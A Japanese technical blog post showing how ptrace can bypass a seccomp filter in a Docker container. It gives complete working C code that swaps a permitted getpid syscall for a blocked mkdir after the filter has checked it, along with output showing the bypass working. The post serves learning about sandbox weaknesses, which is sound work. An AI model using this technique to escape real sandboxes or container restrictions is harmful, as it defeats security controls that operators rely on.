August 17, 2018

ptrace を使用して seccomp による制限を回避してみる

オススメ整体 or マッサージ情報を募集しています。


前回 は ptrace を使用して簡易的な strace を作成した。

同様にシステムコールの監視を行うものといえば seccomp だ。
seccomp によって特定のシステムコールは呼び出しが禁止されるが、ptrace によって回避することができる。
seccomp のドキュメント には次のような記述がある。

The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use this mechanism to escape.)

ptrace によるトレーサに通知される前(システムコールが呼び出されて実行される前)に seccomp フィルタが適用されるので、seccomp によって検査された後のレジスタを変更することで、制限されているシステムコールを呼び出すことができる。

特定のシステムコールを禁止した環境を作る

以下の seccomp ポリシーを Docker コンテナに適用する。

host:~ $ cat seccomp.json | jq 
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "name": "mkdir",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}

host:~$ docker run -it --security-opt seccomp:seccomp.json centos:7 bash

これで mkdir(2) は実行不可能となっていることが確認できる。

[root@d7799354119f tmp]# mkdir dir
mkdir: cannot create directory 'dir': Operation not permitted

ptrace による seccomp バイパスをやってみる

手順としては以下のようになる。

  1. fork(2) して子プロセスで mkdir(2) を実行、親プロセスで ptrace(2) によるシステムコールの監視を行う
  2. 単純に mkdir(2) しても seccomp によってシステムコールを発行できないので、偽の(例えば getpid(2) などを発行する
  3. getpid(2) が発行されたことを検知したら、レジスタを mkdir(2) を呼び出される状態に置き換える

1. ptrace によるシステムコールの監視

fork(2) で子プロセスを作成した後に、ptrace(2) の第一引数に PTRACE_TRACEME を与えると親プロセスにトレースをさせることができる。
その後、一旦子プロセスを停止させる。

switch( (pid = fork()) ) {
    case -1:  die("Failed fork");
    case 0:
              // 親プロセスにトレースさせる
              ptrace(PTRACE_TRACEME, 0, NULL, NULL);
              kill(getpid(), SIGSTOP);

親プロセスでは waitpid(2)ptrace(PTRACE_SYSCALL, pid, NULL, NULL) を繰り返し実行していく。
PTRACE_SYSCALL は停止した子プロセスを再開し、システムコールに入るかシステムコールから抜けるかする時に1命令実行した後に停止する。親プロセスから見ると、子プロセスは SIGTRAP を受信して停止したように見える。 そのため、一度目の停止で何のシステムコールが呼ばれ、どのような引数なのか、といったことを調べることができる。 この辺は man にざっくり書かれている。

2. 偽のシステムコールを発行する

子プロセス側で単純に mkdir(2) を発行しても seccomp で防がれてしまう。そこで、制限がかけられていない偽のシステムコールを呼び出す。ここでは getpid(2) とした。

syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく

getpid(2) を直接使用するのではなく、 syscall で呼び出しているのは、後に mkdir(2) が呼びだされる状態のレジスタを作成しやすくするため。

3. mkdir(2) を呼び出される状態のレジスタを作成する

seccomp を bypass するために、 getpid(2)mkdir(2) に置き換える。
syscall(SYS_getpid, SYS_mkdir, "dir", 0777); で呼び出されたときのレジスタの状態は以下のようになっている。

レジスタ 備考
orig_rax 39 getpid(2) のシステムコール番号。現在のシステムコール番号を示す
rax -38 syscall-enter-stop であることを表す
rdi 83 mkdir(2) のシステムコール番号
rsi “dir” mkdir(2) の第一引数
rdx 0777 mkdir(2) の第二引数

なお、それぞれのシステムコールが発行されるときの各レジスタが何なのかは以下にまとまっている。

rdiorig_rax に代入、rdirsi に代入…とすることで mkdir(2) を呼び出すときのレジスタの状態が完成する。

ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if (regs.orig_rax == SYS_getpid) {
    regs.orig_rax = regs.rdi;
    regs.rdi = regs.rsi;
    regs.rsi = regs.rdx;
    regs.rdx = regs.r10;
    regs.r10 = regs.r8;
    regs.r8 = regs.r9;
    regs.r9 = 0;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
}

最終的なコードは以下のようになる。

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/fcntl.h>
#include <syscall.h>


void die (const char *msg)
{
  perror(msg);
  exit(errno);
}

void attack()
{
  int rc;
  
  // mkdir("dir", 0777);
  syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく
}

int main()
{
  int pid;
  struct user_regs_struct regs;
  switch( (pid = fork()) ) {
    case -1:  die("Failed fork");
    case 0:
              // 親プロセスにトレースさせる
              ptrace(PTRACE_TRACEME, 0, NULL, NULL);
              kill(getpid(), SIGSTOP);
              attack();
              return 0;
  }

  waitpid(pid, 0, 0);

  while(1) {
    int st;
    // 子プロセスを再開する
    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
    if (waitpid(pid, &st, __WALL) == -1) {
      break;
    }

    if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
      break;
    }

    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    printf("orig_rax = %lld\n", regs.orig_rax);

    // syscall-enter-stop であればスキップ
    if (regs.rax != -ENOSYS) {
      continue;
    }

    // レジスタの内容を変更してシステムコールを変更する
    if (regs.orig_rax == SYS_getpid) {
      regs.orig_rax = regs.rdi;
      regs.rdi = regs.rsi;
      regs.rsi = regs.rdx;
      regs.rdx = regs.r10;
      regs.r10 = regs.r8;
      regs.r8 = regs.r9;
      regs.r9 = 0;
      ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    }
  }
  return 0;
}

コンパイルし、実行すると seccomp を bypass して dir というディレクトリを作成できていることが確認できる。

[root@d7799354119f tmp]# ls
ks-script-Lu6hIQ  yum.log
[root@d7799354119f tmp]# ./a.out
orig_rax = 39
orig_rax = 83
orig_rax = 231
[root@d75f3506a41d tmp]# ls
a.out  dir  ks-script-Lu6hIQ  yum.log

ref

このエントリーをはてなブックマークに追加

© Kouhei Morita 2018